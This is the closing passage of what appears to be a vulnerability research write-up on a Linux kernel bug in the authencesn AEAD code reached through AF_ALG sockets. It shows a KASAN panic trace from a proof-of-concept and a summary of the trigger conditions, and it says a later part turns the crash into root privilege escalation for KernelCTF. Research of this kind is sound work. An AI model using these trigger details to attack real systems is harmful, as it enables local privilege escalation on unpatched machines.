[ 4.041648] RBP: 00007ffd72218c20 R08: 0000000000000000 R09: 0000000000000000
[ 4.041649] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd72218bc0
[ 4.041650] R13: 00007ffd72218ce8 R14: 0000000000000000 R15: 0000000000000000
[ 4.041651] </TASK>
[ 4.041652] ==================================================================
[ 4.073171] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 4.074193] CPU: 1 UID: 0 PID: 74 Comm: poc Not tainted 6.12.62 #2
[ 4.075185] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.076845] Call Trace:
[ 4.077271] <TASK>
[ 4.077621] panic+0x4e9/0x5a0
[ 4.078104] ? __pfx_panic+0x10/0x10
[ 4.078689] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.079542] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.080293] check_panic_on_warn+0x5c/0x80
[ 4.080956] end_report+0xcb/0xe0
[ 4.081579] kasan_report+0xd6/0x100
[ 4.082169] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.082917] kasan_check_range+0x105/0x1b0
[ 4.083592] __asan_memcpy+0x23/0x60
[ 4.084285] scatterwalk_copychunks+0x196/0x4c0
[ 4.085090] scatterwalk_map_and_copy+0x11b/0x140
[ 4.085853] ? __pfx_scatterwalk_map_and_copy+0x10/0x10
[ 4.086718] crypto_authenc_esn_decrypt+0x2f5/0x5f0
[ 4.087481] ? __pfx_crypto_authenc_esn_decrypt+0x10/0x10
[ 4.088376] aead_recvmsg+0xb31/0x1760
[ 4.089013] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.089709] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.090387] sock_recvmsg+0x1b4/0x220
[ 4.090986] ? sockfd_lookup_light+0x13/0x140
[ 4.091718] __sys_recvfrom+0x15a/0x260
[ 4.092405] ? pfx_sys_recvfrom+0x10/0x10
[ 4.092872] ? __sys_sendmsg+0xe6/0x190
[ 4.093258] __x64_sys_recvfrom+0xdb/0x1b0
[ 4.093904] ? arch_exit_to_user_mode_prepare.isra.0+0x11/0x90
[ 4.094837] ? syscall_exit_to_user_mode+0x37/0xe0
[ 4.095616] do_syscall_64+0x9e/0x1a0
[ 4.096217] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 4.097013] RIP: 0033:0x401a0d
[ 4.097519] Code: 07 74 05 a4 ff ca 75 fb c3 0f 1f 40 00 f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> 66 90 f3 0f 1e fa e9 d7 ff ff ff 0f 1f 80 00 00 00 00 f3 0f 1e
[ 4.100473] RSP: 002b:00007ffd72218b48 EFLAGS: 00000202 ORIG_RAX: 000000000000002d
[ 4.101596] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000401a0d
[ 4.102731] RDX: 0000000000000010 RSI: 00007ffd72218c30 RDI: 0000000000000004
[ 4.103894] RBP: 00007ffd72218c20 R08: 0000000000000000 R09: 0000000000000000
[ 4.105078] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd72218bc0
[ 4.106226] R13: 00007ffd72218ce8 R14: 0000000000000000 R15: 0000000000000000
[ 4.107410] </TASK>
[ 4.108352] Kernel Offset: disabled
ConclusionThat wraps up Part (1). Starting from the patch, I walked through the invariant assumed by crypto/authencesn.c, the AF_ALG state needed to violate that invariant with assoclen = 0 and outlen = 0, and the reason this leaves the RX scatterlist uninitialized before the fixed 8-byte ESN shuffle touches it. From there, it was straightforward to build a minimal PoC with used == as and assoclen = 0, and reproduce the KASAN wild-memory-access.Of course, this is still only the "trigger" half of the chain. The KernelCTF exploit develops this wild-memory-access condition into an LPE primitive using a Dirty Pagetable-style technique that repurposes the scatterlist's page_link field to manipulate page tables. Part (2) covers that transition, including the heap shaping and the path from the crash primitive to code execution as root.